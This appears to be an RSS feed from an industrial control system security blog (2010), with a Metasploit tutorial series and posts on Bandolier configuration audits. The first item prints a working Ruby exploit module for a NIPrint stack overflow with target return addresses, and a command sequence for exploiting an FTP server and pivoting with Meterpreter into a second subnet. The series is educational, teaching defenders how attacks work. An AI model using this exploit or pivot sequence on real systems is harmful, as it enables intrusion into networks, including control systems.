<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:media="http://search.yahoo.com/mrss/"
>

<channel>
	<title>Digital Bond &#187; Security Tools</title>
	<atom:link href="http://www.digitalbond.com/index.php/category/zzz_archive/security-tools/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.digitalbond.com</link>
	<description>This Month in Control System Security</description>
	<lastBuildDate>Thu, 09 Sep 2010 08:58:04 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<!-- podcast_generator="podPress/8.8" - maintenance_release="8.8.4" -->
		<copyright>2006-2008 </copyright>
		<managingEditor>peterson@digitalbond.com (Digital Bond)</managingEditor>
		<webMaster>peterson@digitalbond.com (Digital Bond)</webMaster>
		<category>posts</category>
		<ttl>1440</ttl>
<br />
<b>Warning</b>:  htmlentities() expects at most 3 parameters, 4 given in <b>/var/www/thingee/wp-content/plugins/podpress/podpress_feed_functions.php</b> on line <b>31</b><br />
		<itunes:keywords></itunes:keywords>
<br />
<b>Warning</b>:  htmlentities() expects at most 3 parameters, 4 given in <b>/var/www/thingee/wp-content/plugins/podpress/podpress_feed_functions.php</b> on line <b>31</b><br />
		<itunes:subtitle></itunes:subtitle>
<br />
<b>Warning</b>:  htmlentities() expects at most 3 parameters, 4 given in <b>/var/www/thingee/wp-content/plugins/podpress/podpress_feed_functions.php</b> on line <b>31</b><br />
		<itunes:summary></itunes:summary>
		<itunes:author>Digital Bond</itunes:author>
		<itunes:category text="Society &amp; Culture"/>
		<itunes:owner>
			<itunes:name>Digital Bond</itunes:name>
			<itunes:email>peterson@digitalbond.com</itunes:email>
		</itunes:owner>
		<itunes:block>No</itunes:block>
		<itunes:explicit>no</itunes:explicit>
		<itunes:image href="http://www.digitalbond.com/wp-content/plugins/podpress/images/RSS_144.jpg" />
		<image>
			<url>http://www.digitalbond.com/wp-content/plugins/podpress/images/RSS_144.jpg</url>
			<title>Digital Bond</title>
			<link>http://www.digitalbond.com</link>
			<width>144</width>
			<height>144</height>
		</image>
		<item>
		<title>Metasploit Basics – Part 4: Exploit and Attack Example</title>
		<link>http://www.digitalbond.com/index.php/2010/07/14/metasploit-basics-%e2%80%93-part-4-exploit-and-attack-example/</link>
		<comments>http://www.digitalbond.com/index.php/2010/07/14/metasploit-basics-%e2%80%93-part-4-exploit-and-attack-example/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 19:16:13 +0000</pubDate>
		<dc:creator>Charles Perine</dc:creator>
				<category><![CDATA[Security Tools]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=7399</guid>
		<description><![CDATA[
			
				
			
		
A couple weeks ago I rewrote a vulnerability for Metasploit that I originally wrote for CANVAS. The exploit is for a network printer application called NIPrint. It is a pretty basic stack overflow vulnerability and the language to the exploit is fairly straight forward.
The key parts, from a Metasploit user’s prospective, is the Target section [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F07%2F14%2Fmetasploit-basics-%25e2%2580%2593-part-4-exploit-and-attack-example%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F07%2F14%2Fmetasploit-basics-%25e2%2580%2593-part-4-exploit-and-attack-example%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>A couple weeks ago I rewrote a vulnerability for Metasploit that I originally wrote for CANVAS. The exploit is for a network printer application called NIPrint. It is a pretty basic stack overflow vulnerability and the language to the exploit is fairly straight forward.</p>
<p>The key parts, from a Metasploit user’s prospective, is the Target section and the options section. A user will need to select the host ip and the port, if the port is not the default, and the target operating system, the default target default is Windows 2000. The top portion of the code sets up the options while the lower section performs the actual exploit.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.digitalbond.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=7399&amp;download=NIPrint_CAP.rb">NIPrint_CAP.rb</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p73993"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
</pre></td><td class="code" id="p7399code3"><pre class="text" style="font-family:monospace;">require 'msf/core'
class Metasploit3 &lt;  Msf::Exploit::Remote
    Rank = NormalRanking
    include Msf::Exploit::Remote::Tcp
    def initialize(info =  {})
        super(update_info(info,
          'Name' =&gt; 'NIPrint stack overflow',
          'Description' =&gt; %q{
            This module exploits a stack overflow in
            NIPrint  server.
            },
          'Author' =&gt;  [ 'Charles Perine' ],
          'Version' =&gt;  '$Revision: 9999 $',
          'DefaultOptions' =&gt;  {
            'EXITFUNC' =&gt; 'process',
          },
          'Payload'         =&gt;
          {
            'Space'    =&gt; 1000,
            'BadChars'  =&gt; &quot;\x00\x0a\x0d\x25\x26\x3f&quot;,
          },
          'Platform'        =&gt; 'win',
          'Targets'        =&gt;
          [
            ['Win2k  SP4 Eng', { 'Ret' =&gt; 0x7C2EE9BB } ],
            ['WinXP  SP3 Eng', { 'Ret' =&gt; 0x77DF9697 } ],
          ],
          'DefaultTarget'  =&gt; 0,
          'Privileged'      =&gt; false
        ))
       register_options( [  Opt::RPORT(515) ], self.class)
    end
&nbsp;
    def exploit
        connect
        noppersled1  = make_nops(47)
        jmpcode = &quot;\xeb\x10&quot;
        noppersled2  = make_nops(20)
        eip = [target.ret].pack('V')
        sploit  = noppersled1 + jmpcode + eip + noppersled2 + payload.encoded
        sock.put(sploit)
        handler
        disconnect
    end
end</pre></td></tr></table></div>

<p>What follows is a run through of a hack detailing some of the subjects I covered in this and my previous Metasploit entries. My attack machine is on the same subnet, 192.168.76.0/24, as a Windows XP system with a vulnerable FTP server at 192.168.76.136. The FTP server is connected to another subnet, 10.0.0.0/24, with a machine running Windows 2000, 10.0.0.1, and the NIPrint application. In this example I will not show system scanning, using a tool like Nessus, simply exploitation.</p>
<p>First I ran the exploit against the FTP server.</p>
<p style="text-align: center;"><a rel="attachment wp-att-7335" href="http://www.digitalbond.com/index.php/2010/07/14/metasploit-basics-%e2%80%93-part-4-exploit-and-attack-example/setup_and_exploit_ftp/"><img class="aligncenter size-full wp-image-7335" title="setup_and_exploit_ftp" src="http://www.digitalbond.com/wp-content/uploads/2010/07/setup_and_exploit_ftp.png" alt="" width="599" height="473" /></a></p>
<p>Once connected, I check to see what other networks the FTP server is connected to. We see that the it is connected to the 10.0.0.0/24 network. To perform the pivot, I simply add the a network route for the Meterpreter session, session 1. Next I ran an enumeration script to see what other systems were available.</p>
<p style="text-align: center;"><a rel="attachment wp-att-7336" href="http://www.digitalbond.com/index.php/2010/07/14/metasploit-basics-%e2%80%93-part-4-exploit-and-attack-example/route_and_enumeration/"><img class="aligncenter size-full wp-image-7336" title="route_and_enumeration" src="http://www.digitalbond.com/wp-content/uploads/2010/07/route_and_enumeration.png" alt="" width="599" height="473" /></a></p>
<p>From the scan, I can see the 10.0.0.1 system is available. While I know that the system second system is running the NIPrint server, an attacker would use other reconnaissance tools, or simply monitor the network, to determine a system on the network is running the NIPrint application.</p>
<p style="text-align: center;"><a rel="attachment wp-att-7337" href="http://www.digitalbond.com/index.php/2010/07/14/metasploit-basics-%e2%80%93-part-4-exploit-and-attack-example/setup_niprint/"><img class="aligncenter size-full wp-image-7337" title="setup_niprint" src="http://www.digitalbond.com/wp-content/uploads/2010/07/setup_niprint.png" alt="" width="599" height="473" /></a></p>
<p>Now I run the exploit against the second system and we can see it’s routing tables are different from the first system.</p>
<p style="text-align: center;"><a rel="attachment wp-att-7338" href="http://www.digitalbond.com/index.php/2010/07/14/metasploit-basics-%e2%80%93-part-4-exploit-and-attack-example/exploit_niprint_and_route/"><img class="aligncenter size-full wp-image-7338" title="exploit_niprint_and_route" src="http://www.digitalbond.com/wp-content/uploads/2010/07/exploit_niprint_and_route.png" alt="" width="599" height="473" /></a></p>
<p>Here is a list of commands I used:</p>

<div class="wp_codebox_msgheader wp_codebox_hide"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.digitalbond.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=7399&amp;download=Pivot_Example.txt">Pivot_Example.txt</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p73994"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
</pre></td><td class="code" id="p7399code4"><pre class="text" style="font-family:monospace;">use windows/ftp/easyftp_cwd_fixret
set PAYLOAD  windows/meterpreter/bind_tcp
set RHOST 192.168.76.136
show options
exploit
&nbsp;
route
&nbsp;
background
&nbsp;
route add 10.0.0.0  255.255.255.0 1
&nbsp;
sessions  -i 1
&nbsp;
run netenum -ps -r  10.0.0.0/16
&nbsp;
background
&nbsp;
use  windows/misc/myniprint
set PAYLOAD windows/meterpreter/bind_tcp
set RHOST 10.0.0.1
show options
exploit
&nbsp;
route</pre></td></tr></table></div>

<p>Many of the sites we visit have a common setup using an RDP station sitting on the DMZ in between the corporate network and control network. That system can typically RDP to one other system in the control network. Once on the control network, there is very little access control to all of the systems. Using a similar methodology to the one described above, an attacker could work his way to the RDP stations then into the control network.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/07/14/metasploit-basics-%e2%80%93-part-4-exploit-and-attack-example/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metasploit Basics &#8211; Part 3: Pivoting and Interfaces</title>
		<link>http://www.digitalbond.com/index.php/2010/07/12/metasploit-basics-part-3-pivoting-and-interfaces/</link>
		<comments>http://www.digitalbond.com/index.php/2010/07/12/metasploit-basics-part-3-pivoting-and-interfaces/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 21:00:38 +0000</pubDate>
		<dc:creator>Charles Perine</dc:creator>
				<category><![CDATA[Security Tools]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=7332</guid>
		<description><![CDATA[
			
				
			
		
There are two aspects to Metasploit that I would like to cover today. The first is pivoting, a topic I mentioned in a previous post, and the second is the way a user interfaces with Metasploit. Pivoting allows an  attacker to use a compromised system to attack other systems on the same  network. [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F07%2F12%2Fmetasploit-basics-part-3-pivoting-and-interfaces%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F07%2F12%2Fmetasploit-basics-part-3-pivoting-and-interfaces%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>There are two aspects to Metasploit that I would like to cover today. The first is pivoting, a topic I mentioned in a previous post, and the second is the way a user interfaces with Metasploit. Pivoting allows an  attacker to use a compromised system to attack other systems on the same  network. For example, an attacker compromises a web server on a  corporate network, the attacker can then use the compromised web server  to attack other systems on the network.</p>
<p>Pivoting is a powerful  tool that allows Metasploit to penetrate deep into a network. Core  Security’s Core Impact and Immunity Inc.’s CANVAS have this feature as  well. The Metasploit version of pivoting is not quite as clean as Core  Impact but for the price, free, it works well enough. Of all of the  payloads included in Metasploit, the only one which supports pivoting in  Metasploit is the Meterpreter.</p>
<p>Metasploit has a few interfaces which can be  used when attacking a system. The Metasploit framework provides a web  interface, a GUI, the msfconsole and the msfcli. For those who are new  to Metasploit, the web interface is the simplest way to get comfortable  with the layout.</p>
<ul>
<li>The  web interface, shown below, is fairly easy to use. The attacker loads the interface  on his machine. He then searches for the appropriate exploit, payload  and options. Once the attack is launched, the built-in console can be  used to interact with the compromised host.</li>
</ul>
<p style="text-align: center;"><a rel="attachment wp-att-7334" href="http://www.digitalbond.com/index.php/2010/07/12/metasploit-basics-part-3-pivoting-and-interfaces/msfweb/"><img class="size-full wp-image-7334 aligncenter" title="msfweb" src="http://www.digitalbond.com/wp-content/uploads/2010/07/msfweb.png" alt="" width="599" height="520" /></a></p>
<ul>
<li>The Metasploit GUI, shown below, is similar in function to  the web interface, though less polished. The attacker can search for and  select an exploit, chose a payload, set the option and run the exploit  without much knowledge of the underlying commands necessary to run  Metasploit. The current GUI is no longer supported but there is a new GUI provided with Metasploit Express which is  a product sold by Rapid7.</li>
</ul>
<p style="text-align: center;"><a rel="attachment wp-att-7333" href="http://www.digitalbond.com/index.php/2010/07/12/metasploit-basics-part-3-pivoting-and-interfaces/msfgui/"><img class="size-full wp-image-7333 aligncenter" title="msfgui" src="http://www.digitalbond.com/wp-content/uploads/2010/07/msfgui.png" alt="" width="599" height="420" /></a></p>
<ul>
<li>The msfconsole is a very powerful interface  to Metasploit and it is the most often used interface. Typically an  attacker will use the basic options, selecting an exploit, a payload and  the options. There are many other commands that can be run from the  msfconsole but they are beyond the scope of this article.</li>
</ul>
<ul>
<li>The msfcli is run from  the command line. The attacker sets all arguments on the command line  and executes the command. A shell, Meterpreter shell or VNC window will  spawn after the exploit has been performed.</li>
</ul>
<p>In my next  installment, I’ll show an exploit I wrote for an application and how it  can be leveraged in an attack.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/07/12/metasploit-basics-part-3-pivoting-and-interfaces/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metasploit Basics – Part 2: Payload</title>
		<link>http://www.digitalbond.com/index.php/2010/07/09/metasploit-basics-%e2%80%93-part-2-payload/</link>
		<comments>http://www.digitalbond.com/index.php/2010/07/09/metasploit-basics-%e2%80%93-part-2-payload/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 11:12:50 +0000</pubDate>
		<dc:creator>Charles Perine</dc:creator>
				<category><![CDATA[Security Tools]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=7277</guid>
		<description><![CDATA[
			
				
			
		
Yesterday I introduced  the exploit module portion of Metasploit. In this installment of  Metasploit Basics I will discuss the payload modules included in  Metasploit.
The payload modules  contain shellcode which can perform a number of interesting tasks  depending on which payload is selected. There are seven main payload  types available [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F07%2F09%2Fmetasploit-basics-%25e2%2580%2593-part-2-payload%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F07%2F09%2Fmetasploit-basics-%25e2%2580%2593-part-2-payload%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>Yesterday I introduced  the exploit module portion of Metasploit. In this installment of  Metasploit Basics I will discuss the payload modules included in  Metasploit.</p>
<p>The payload modules  contain shellcode which can perform a number of interesting tasks  depending on which payload is selected. There are seven main payload  types available for Metasploit. These include VNC injection, file  execution, an interactive shell, command execution, DLL injection,  adding a user and the Meterpreter. Not all payloads types are available  for every operating system. The table below shows which payload types  are compatible with the different operating systems / operating  environments.</p>
<p style="text-align: center;"><a rel="attachment wp-att-7281" href="http://www.digitalbond.com/index.php/2010/07/09/metasploit-basics-%e2%80%93-part-2-payload/metasploit_payloads/"><img class="size-full wp-image-7281 aligncenter" title="Metasploit_Payloads" src="http://www.digitalbond.com/wp-content/uploads/2010/07/Metasploit_Payloads.png" alt="" width="588" height="111" /></a></p>
<ul>
<li>The  add user payload is fairly straight forward. It simply adds a new user  to the system being targeted. Once the new user is created, the attacker  can simply log into the system remotely using any of the remote login  services running on the target system. On a Linux system, the new user  is given root privileges. The user added on a Windows system will be put  in the Administrators group.</li>
</ul>
<ul>
<li>The command execution payload will execute a  command on the target system. This allows an attacker to perform any  command on the attack system that does not require user interaction.  This payload would be most beneficial on *nix based systems, where the  command line is powerful. A number of commands can be strung together to  produce multiple actions.</li>
</ul>
<ul>
<li>DLL injection adds a custom DLL into the  memory of the exploited application on the target system. This allows an  attacker to add their own code to the code they just exploited. The DLL  injection technique is used in the VNC injection payload described  below.</li>
</ul>
<ul>
<li>The interactive shell  payload provides the attacker with a shell on the target system. The  attacker can send commands to the target as if they were sitting in  front of the system. For *nix based systems, this payload is extremely  useful as it provides a full access to the system.</li>
</ul>
<ul>
<li>The file execution  payload simply uploads a file to the system then executes the uploaded  file. A backdoor or rootkit can be sent to the system giving an attacker  full access to the system.</li>
</ul>
<ul>
<li>The Meterpreter payload is a Swiss army knife  shell interface. It can change process IDs, set itself to be persistent  on reboot, grab snapshots, obtain credentials, log keys, pivot and a  number of other features. The Meterpreter is a very powerful tool.</li>
</ul>
<ul>
<li>The VNC Injection  payload sends a tiny VNC server to the Windows system and then connects  to the VNC server. This provides full GUI interaction with the target  system. The drawback to this payload is that anything you do on the  system can be seen by a user if it is being used.</li>
</ul>
<p>Since the payloads  have already been created, an exploit writer simply needs to create the  initial portion of the exploit, reducing the amount of work necessary to  create a working exploit. With some of the exploits, due to payload  size restrictions, not all payloads will work against a target. The  payloads included in Metasploit provide an attacker with a great deal of  control over the target system.</p>
<p>In my next post, I will discuss using  Metasploit to pivot.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/07/09/metasploit-basics-%e2%80%93-part-2-payload/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metasploit Basics &#8211; Part 1: Exploits</title>
		<link>http://www.digitalbond.com/index.php/2010/07/08/metasploit-basics-part-1-exploits/</link>
		<comments>http://www.digitalbond.com/index.php/2010/07/08/metasploit-basics-part-1-exploits/#comments</comments>
		<pubDate>Thu, 08 Jul 2010 22:01:55 +0000</pubDate>
		<dc:creator>Charles Perine</dc:creator>
				<category><![CDATA[Security Tools]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=7272</guid>
		<description><![CDATA[
			
				
			
		
We often hear about  Metasploit being used for attacks or exploits being developed for it but  some may only have a general idea of the power of Metasploit. This set  of articles is intended to to provide to the layman, who has never and  may never run Metasploit, an understanding of [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F07%2F08%2Fmetasploit-basics-part-1-exploits%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F07%2F08%2Fmetasploit-basics-part-1-exploits%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>We often hear about  Metasploit being used for attacks or exploits being developed for it but  some may only have a general idea of the power of Metasploit. This set  of articles is intended to to provide to the layman, who has never and  may never run Metasploit, an understanding of what the tool is and how  it is used.</p>
<p>An exploit is  comprised of a few parts. It contains the exploit in the application  being attacked which may be a stack overflow, a heap overflow, a string  format attack, etc. and a payload which may be a remote shell or the  addition of a user on the system being exploited. There are other parts  to the exploit which are more advanced and are not necessary for this  post. If you wish to find out more about exploits, there is plenty of  information on the Internet which covers all aspects of exploit writing.</p>
<p>Metasploit is an  exploit framework. It was intended to make the development of exploits  easier. It is comprised of many modules and is broken down into the  following categories: exploits, payloads, axillary. The exploit modules  are developed by the Metasploit team and a large number of exploit  writers. Metasploit separates the application exploit from the payload  which decreases the amount of work needed to develop a full working  exploit.</p>
<p>When a user downloads  and installs Metasploit on their system, a number of exploit modules are  included. These exploit modules are broken down by operating systems,  then by application types, then the application exploits. A user can  also download exploits developed by others for Metasploit, install them  and then run them just like the exploits that come pre-installed.</p>
<p>Milw0rm formally  contained a large number of exploits that could be dropped into  Metasploit. A new resource, <a href="http://www.exploit-db.com/" target="_blank">exploit-db.com</a>, hosted by the folks at  Offensive Security, seems to be the best resource for these exploits.  There are a few ICS exploits available on <a href="http://www.exploit-db.com/" target="_blank">exploit-db.com</a> site, these  exploits include GE Fanuc, GE Proficy, Iconics, Wonderware Suitelink and  Citect.</p>
<p>In my next post, I  will discuss the payloads available for Metasploit.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/07/08/metasploit-basics-part-1-exploits/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metasploit Release</title>
		<link>http://www.digitalbond.com/index.php/2010/05/20/metasploit-release/</link>
		<comments>http://www.digitalbond.com/index.php/2010/05/20/metasploit-release/#comments</comments>
		<pubDate>Thu, 20 May 2010 19:50:50 +0000</pubDate>
		<dc:creator>Charles Perine</dc:creator>
				<category><![CDATA[Big Picture]]></category>
		<category><![CDATA[Security Tools]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=6845</guid>
		<description><![CDATA[
			
				
			
		
On Tuesday Rapid7 released a new version of Metasploit. The newest  release of Metasploit, version 3.4.0, added over 100 new exploit modules  and over 40 new axillary modules from the 3.3 release, bringing the  totals up to 551 and 261, respectively. Metasploit 3.4.0 now uses TightVNC  for the VNC injection. It [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F05%2F20%2Fmetasploit-release%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F05%2F20%2Fmetasploit-release%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>On Tuesday Rapid7 released a new version of <a href="http://blog.metasploit.com/2010/05/metasploit-framework-340-released.html" target="_blank">Metasploit</a>. The newest  release of Metasploit, version 3.4.0, added over 100 new exploit modules  and over 40 new axillary modules from the 3.3 release, bringing the  totals up to 551 and 261, respectively. Metasploit 3.4.0 now uses TightVNC  for the VNC injection. It can now import scan files from NeXpose, Nessus, QualysGuard,  and Nmap. Metasploit has improved or added support for brute forcing  telnet, ssh, mysql, postgres, SMB and DB2.</p>
<p>Metasploit&#8217;s agent,  the meterpreter, has a few important additions including bidirectional  tcp and udp pivoting, the use of SSL3 and automatic routing. The  automatic routing and bidirectional tcp and udp pivoting improve the  attackers ability to launch attacks from a compromised machine. The  addition of SSL3 provides a secure method of communicating with the  compromised host.</p>
<p>In October of 2009 Rapid7, the company that  created the NeXpose vulnerability scanner, purchased Metaploit from HD Moore.  Metasploit 3.3.1 included a module to integrate NeXpose scan results.  The module allows a user to scan and exploit in only a few steps. While  the integration makes it easier to find vulnerabilities and exploit  them, it also lowers the bar regarding the amount of knowledge an  attacker must have in order to compromise a system. This means it is far  easier for a script kiddie to scan and exploit a system. I have yet to  use NeXpose but I will be playing with it and the Metasploit  integration.</p>
<p>The day after the release of Metasploit 3.4.0, Rapid7  released <a href="http://blog.metasploit.com/2010/05/introducing-metasploitable.html" target="_blank">Metasploitable</a>. This is a virtual machine that contains a large  number of vulnerable applications which can be tested with Metasploit.  Another option for practicing with Metasploit is Damn Vulnerable Linux.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/05/20/metasploit-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Defining Optimal Security Configuration</title>
		<link>http://www.digitalbond.com/index.php/2010/05/12/defining-optimal-security-configuration/</link>
		<comments>http://www.digitalbond.com/index.php/2010/05/12/defining-optimal-security-configuration/#comments</comments>
		<pubDate>Wed, 12 May 2010 15:45:57 +0000</pubDate>
		<dc:creator>Jason Holcomb</dc:creator>
				<category><![CDATA[Bandolier]]></category>
		<category><![CDATA[Security Tools]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=6678</guid>
		<description><![CDATA[
			
				
			
		
Optimal security configuration is a term we often use to describe what is measured by the Bandolier security audit files. One definition for optimal, according to my dictionary, is &#8220;most desirable&#8221;. Yes, I just busted out the clichéd dictionary definition. But I think it&#8217;s useful here because it helps get to this question: what is [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F05%2F12%2Fdefining-optimal-security-configuration%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fwww.digitalbond.com%2Findex.php%2F2010%2F05%2F12%2Fdefining-optimal-security-configuration%2F&amp;source=digitalbond&amp;style=compact&amp;service=bit.ly" height="61" width="50" /><br />
			</a>
		</div>
<p>Optimal security configuration is a term we often use to describe what is measured by the Bandolier security audit files. One definition for optimal, according to my dictionary, is &#8220;most desirable&#8221;. Yes, I just busted out the clichéd dictionary definition. But I think it&#8217;s useful here because it helps get to this question: what is a desirable security configuration from an asset owner perspective?</p>
<p>Before we dive in and answer that question, let&#8217;s be clear on the what we mean by security configuration. We are talking about server and workstation level settings, that until fairly recently, were often installed in an &#8220;open by default&#8221; instead of a &#8220;secure by default&#8221; manner in control systems. Here are some examples of &#8220;open by default&#8221;: running services that are not needed, default accounts and passwords, wide-open operating system and application permissions, and poorly configured supporting applications such as web servers and database servers. This is the type of security configuration audited by Bandolier. So back to our question, what is a desirable security configuration? Here is my take&#8230;</p>
<p><strong>Security configuration that allows the application to function</strong><br />
Anyone out there who has dropped an IT security best practices template onto a control system server knows what I&#8217;m talking about. Stuff breaks. This has been a problem and is part of what perpetuated the &#8220;open by default&#8221; practice for so long. It&#8217;s a pain to work through all the settings and dial back only what needs to be to allow the application to function. But that is exactly what we do with Bandolier. We start with industry guidelines like those from the NIST SCAP program, and then customize it to each SCADA or DCS server/workstation component.</p>
<p><strong>Security configuration that is supported by the vendor</strong><br />
Asset owners depend heavily on their control system application vendors. Contractually and practically, the owners are often hesitant to make any change without explicit vendor approval. The reality is that if you didn&#8217;t spec your system and verify that security was included at FAT and SAT, it is very difficult to change. So there are two issues here &#8212; old systems and new systems. We have to stop the bleeding and address the new systems leaving the test floor. Bandolier is helping do that. Vendors are supporting the secure configuration defined in the audit files, distributing the audit files to their customers, and even using Bandolier for their own FAT and SAT processes. For older systems, it depends. We have seen some cases where, with minor version differences, the majority of settings apply but it only goes so far. We are not making security audit files for Windows 98 and NT, for example, or an application version that is just broken from a security standpoint. If it can be secured, we want to help audit that. If not, it&#8217;s not a candidate for Bandolier.  </p>
<p><strong>Security configuration that is customizable for local requirements</strong><br />
Even with a security configuration that is designed to work with the control system application and is supported by the vendor, there are often local requirements or policies that need to be adjusted. The simple example I often use is password policy that tends to differ from company to company. What if you have additional software installed on your control system servers for backup or monitoring that requires additional services? These are reasons you may want to customize the audit files. Dale covered this in a recent <a href="http://www.digitalbond.com/index.php/2010/02/23/customize-bandolier-to-get-100-audits/">post</a>. The simple Nessus .audit language used by the Bandolier audit files makes this type of customization possible.</p>
<p><strong>Security configuration that goes beyond the operating system</strong><br />
OS security settings have to be addressed but what about database servers, web servers, and the control system applications themselves? Poor configuration at the application level can leave a server open for attack as much or more so than at the OS level. Bandolier addresses configuration and audits at this level as well. In some cases, like the OSIsoft PI Server, the vendors help us tap deeply into the application using <a href="http://www.digitalbond.com/wiki/index.php/Bandolier_and_OSIsoft_PI_Server">tools and scripts</a> that would not normally be available. The result is a thorough view of the application security configuration that was not previously possible.</p>
<p>Digital Bond works closely with control system application vendors to define these security settings that make up an optimal security configuration. For a typical SCADA or DCS, the settings and audit checks can number in the hundreds or thousands. We test the configuration and audit files in the vendors&#8217; labs to ensure we are reaching the goal of an optimal security configuration. A special thanks to the vendors that are participating and making this possible. Bandolier, in conjunction with the Nessus credentialed scanning, is quickly becoming the most widely used control system security assessment tool. This would not be the case without the application vendors stepping up to participate in the process. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.digitalbond.com/index.php/2010/05/12/defining-optimal-security-configuration/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bandolier OVAL Files Now Available</title>
		<link>http://www.digitalbond.com/index.php/2010/04/20/bandolier-oval-files-now-available/</link>
		<comments>http://www.digitalbond.com/index.php/2010/04/20/bandolier-oval-files-now-available/#comments</comments>
		<pubDate>Tue, 20 Apr 2010 15:30:46 +0000</pubDate>
		<dc:creator>Jason Holcomb</dc:creator>
				<category><![CDATA[Bandolier]]></category>
		<category><![CDATA[Security Tools]]></category>

		<guid isPermaLink="false">http://www.digitalbond.com/?p=6013</guid>
		<description><![CDATA[
			
				
			
		
